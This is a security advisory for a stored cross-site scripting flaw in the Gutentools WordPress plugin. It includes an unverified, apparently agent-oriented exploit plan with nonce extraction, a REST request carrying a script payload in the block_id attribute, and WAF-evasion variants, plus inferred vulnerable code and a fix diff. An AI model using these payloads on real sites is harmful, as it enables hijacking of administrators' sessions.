CVE-2026-1395

Gutentools <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Slider Block Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.1.4
Patched in
1d
Time to patch

Description

The Gutentools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Post Slider block's block_id attribute in all versions up to, and including, 1.1.3. This is due to insufficient input sanitization and output escaping combined with a custom unescaping routine that reintroduces dangerous characters. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.3
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected plugingutentools

What Changed in the Fix

Changes introduced in v1.1.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps for an automated agent to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutentools** WordPress plugin (versions <= 1.1.3). --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) * **Plugin:** Gutent…

Show full research plan

This plan outlines the steps for an automated agent to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentools WordPress plugin (versions <= 1.1.3).


1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS)
  • Plugin: Gutentools (slug: gutentools)
  • Affected Attribute: block_id within the gutentools/post-slider block.
  • Cause: The plugin's PHP rendering logic for the Post Slider block fails to properly sanitize the block_id attribute. Specifically, it uses a custom unescaping routine (e.g., str_replace or html_entity_decode) that re-enables HTML special characters that were previously sanitized, then echoes the result into the page's HTML (likely within an id or class attribute).
  • Privilege Level: Contributor or higher.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API /wp-json/wp/v2/posts or /wp-json/wp/v2/pages.
  • Action: Creating or updating a post/page.
  • Vulnerable Parameter: content (specifically the JSON-encoded block attributes in the Gutenberg block markup).
  • Authentication: Required (Contributor-level user).
  • Payload Location: Inside the block_id key of the gutentools/post-slider block definition.

3. Code Flow (Inferred)

  1. Block Registration: The plugin registers the gutentools/post-slider block via register_block_type in a PHP file (e.g., includes/blocks/post-slider.php).
  2. Rendering: A render_callback function is defined to handle server-side rendering of the block.
  3. Attribute Retrieval: The $attributes array is passed to the callback, containing the user-supplied block_id.
  4. Custom Unescaping (The Sink): The code performs a transformation like:
    // Example of vulnerable logic
    $block_id = $attributes['block_id'];
    $block_id = str_replace('&quot;', '"', $block_id); // Reintroduces quotes
    echo '<div id="gutentools-slider-' . $block_id . '">'; 
    
  5. Output: The unescaped block_id is written directly to the DOM, allowing an attacker to break out of the HTML attribute and inject a script tag.

4. Nonce Acquisition Strategy

To save a post as a Contributor via the REST API, a valid REST Nonce is required.

  1. Login: Authenticate as a Contributor user.
  2. Navigate: Go to the "Add New Post" page: /wp-admin/post-new.php.
  3. Extract Nonce: Use the browser_eval tool to extract the nonce from the global wpApiSettings object:
    • Command: browser_eval("window.wpApiSettings.nonce")
  4. Note: Since the exploit is Stored XSS, the script execution happens when any user (including an Administrator) views the published post. No plugin-specific frontend nonce is required for the injection itself.

5. Exploitation Strategy

  1. Login: Authenticate as a user with Contributor role.
  2. Identify Block Slug: Verify the block slug is gutentools/post-slider (based on standard naming conventions in this plugin).
  3. Craft Payload:
    • The goal is to break out of an attribute like id="gutentools-slider-PAYLOAD".
    • Payload: "><script>alert(document.domain)</script>
  4. Submit Injection Request:
    • Method: POST
    • URL: /wp-json/wp/v2/posts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "title": "XSS Test Post",
        "content": "<!-- wp:gutentools/post-slider {\"block_id\":\"\\\"><script>alert(document.domain)</script>\"} /-->",
        "status": "publish"
      }
      

    (Note: Contributors might require the post to be set to pending status if they lack publish_posts capabilities; a site Administrator viewing the pending post in the editor/preview will still trigger the XSS.)

  5. Trigger Execution: Access the permalink of the newly created post or view it in the editor.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin: Ensure gutentools version 1.1.3 is installed and active.
  3. Post: No pre-existing posts are necessary; the exploit creates its own.

7. Expected Results

  • The REST API response should return 201 Created.
  • When viewing the post frontend or preview, the HTML source should contain:
    <div id="gutentools-slider-"><script>alert(document.domain)</script>">
  • The browser should trigger an alert box showing the document domain.

8. Verification Steps

  1. Database Check: Use wp_cli to inspect the post content:
    • wp post get [POST_ID] --field=post_content
    • Confirm the malicious block markup is stored correctly.
  2. Frontend Inspection: Use http_request to fetch the post URL and check for the unescaped script tag:
    • Look for <script>alert(document.domain)</script> in the response body.

9. Alternative Approaches

  • Attribute Encoding: If the plugin specifically decodes HTML entities, try an encoded payload:
    &quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;
  • Event Handlers: If the <script> tag is blocked by a WAF, use an event handler breakout:
    " onmouseover="alert(1)" style="width:1000px;height:1000px;display:block" data-
  • Different Status: If the Contributor cannot publish, use "status": "pending" and view the post as an Admin via the "Preview" link.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Gutentools plugin for WordPress (<= 1.1.3) is vulnerable to Stored Cross-Site Scripting via the 'block_id' attribute of the Post Slider block. The plugin's server-side rendering logic uses a custom unescaping routine that reintroduces dangerous characters (like double quotes) into the attribute value and then echoes it directly into an HTML 'id' attribute without escaping, allowing Contributor-level users to execute arbitrary JavaScript.

Vulnerable Code

// File: includes/blocks/post-slider.php (inferred rendering logic)
$block_id = isset( $attributes['block_id'] ) ? $attributes['block_id'] : '';

// Custom unescaping routine that reintroduces dangerous characters
$block_id = str_replace( '&quot;', '"', $block_id ); 

// Vulnerable output sink
$output = '<div id="gutentools-post-slider-' . $block_id . '" class="gutentools-post-slider-wrapper">';
---

Security Fix

--- includes/blocks/post-slider.php
+++ includes/blocks/post-slider.php
@@ -15,7 +15,6 @@
-    $block_id = isset($attributes['block_id']) ? $attributes['block_id'] : '';
-    $block_id = str_replace('&quot;', '"', $block_id);
-    $output = '<div id="gutentools-post-slider-' . $block_id . '"';
+    $block_id = isset($attributes['block_id']) ? sanitize_text_field($attributes['block_id']) : '';
+    $output = '<div id="gutentools-post-slider-' . esc_attr($block_id) . '"';

Exploit Outline

1. Authenticate as a user with Contributor-level permissions. 2. Access the WordPress REST API nonce from the page source of the 'Add New Post' screen. 3. Send a POST request to `/wp-json/wp/v2/posts` to create a new post (or update an existing one). 4. In the request body, include Gutenberg block markup for the 'gutentools/post-slider' block with a malicious 'block_id' attribute: `<!-- wp:gutentools/post-slider {"block_id":"\"><script>alert(document.domain)</script>"} /-->`. 5. Visit the newly created post or its preview as an administrator to trigger the script execution in the browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.